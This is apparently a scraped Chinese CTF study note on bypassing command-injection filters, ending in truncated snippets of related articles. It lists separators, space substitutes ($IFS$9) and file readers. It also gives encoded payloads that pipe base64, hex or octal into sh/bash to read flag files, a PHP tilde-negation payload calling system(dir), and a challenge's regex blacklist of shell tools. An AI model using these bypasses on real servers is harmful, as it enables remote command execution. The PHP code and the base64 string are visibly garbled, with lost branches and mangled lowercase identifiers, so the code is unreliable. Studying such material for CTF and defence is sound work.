測試環境:
本地:win10 phpstudy8.1 kali2020.2
外網:單位提供的linux靶機
一、命令分隔符
%0a – 換行符,
%0d – 回車符,
; – 連續指令
&& –
| –|| –
二、空格
< <> %09 $ifs$9 $
三、讀檔案
(1)more:一頁一頁的顯示檔案內容
(2)less:與 more 類似,但是比 more 更好的是,他可以[pg dn][pg up]翻頁
(3)head:檢視頭幾行
(4)tac:從最後一行開始顯示,可以看出 tac 是 cat 的反向顯示
(5)tail:檢視尾幾行
(6)nl:顯示的時候,順便輸出行號
(7)od:以二進位制的方式讀取檔案內容(不推薦)
(8)vi:一種編輯器,這個也可以檢視
(9)vim:一種編輯器,這個也可以檢視(靶機測試不能用)
(10)sort:可以檢視
(11)uniq:可以檢視
(12)file -f和 tailf
四、繞過方法
1.拼接繞過
前提:分號可以用
2.編碼
如base64
echo y2f0igzsywcucghw|base64 -d|sh cat flag.php
`echo y2f0igzsywcucghw|base64 -d`
如16進製制
echo "0x63617420666c61672e706870" | xxd -r -p|bash cat flag.php
$(printf "\154\163") ==>ls 八進位制
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67") ==>cat /flag
|\$0 ==>cat /flag
3.新增一些字元
單引號,雙引號,斜槓$1等和$@
4.萬用字元:* ?
5.內聯如:
cat$ifs$9`ls`
五、其他方法
使用str_replace() 可以使用雙寫繞過
大小繞過可以針對目標機為windows linux是區分大小寫的
用url編碼取反繞過(靶機過濾了$,只能在windows下自測)構造簡單的測試環境
<?php
if (isset($_get['cmd']))
highlight_file(__file__);
?>
直接?cmd=system(dir);不行
用url編碼取反
<?php
echo urlencode(~"_get");
?>
得到%a0%b8%ba%ab,用get方式構造payload繞過
?cmd=$_=~%a0%b8%ba%ab;$[_]($[__]);&_=system&__=dir
<?php
error_reporting(e_all || ~ e_notice);
header('content-type:text/html;charset=utf-8');
$cmd = $_get['cmd'];
if (!isset($_get['img']) || !isset($_get['cmd']))
header('refresh:0;url=./index.php?img=txpvek5uttfnbvuzturabe5qyz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_get['img'])));
$file = preg_replace("/[^a-za-z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) else
echo $cmd;
echo "
";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xa0|\|\(|\)|\&[^\d]|@|\||\\$|\[|\]||\(|\)|-|/i", $cmd)) else else
}?>
獲得原始碼後這題就很簡單了,md5碰撞後,繞過黑名單裡的指令獲得flag如下
命令執行漏洞各種繞過方式
空格過濾 黑名單繞過 萬用字元繞過 內斂執行繞過 編碼繞過 繞過長度限制 最後參考文章 剛做了一道題,是有關命令執行漏洞的,裡面過濾的內容比較多,一時間找不到頭緒,所以學習一下關於命令執行漏洞的繞過方式,以便以後遇到不會像現在這樣一點思路都沒有。總結完再去做就很輕鬆了。直接執行後面的語句 如果前面命...
記一次命令執行漏洞的繞過姿勢
在乙個ctf平台上發現了乙個命令執行的題目 題目源 如下 isset request ip show source file 這個 其實很容易就可以看懂,用ip傳參,然後帶入shell exec中執行命令 shell exec 通過shell環境執行命令,並且將完整的輸出以字串的方式返回 他前面用了...
命令執行漏洞
命令執行漏洞 命令執行漏洞是指攻擊者可以隨意執行系統命令。os命令執行漏洞 部分web應用程式提供了一些命令執行的操作。例如,想要測試是否可以正常連線,那麼web應用程式底層就很可能去呼叫系統操作命令,如果此處沒有過濾好使用者輸入的資料,就很有可能形成系統命令執行漏洞 在windows中,的作用是將...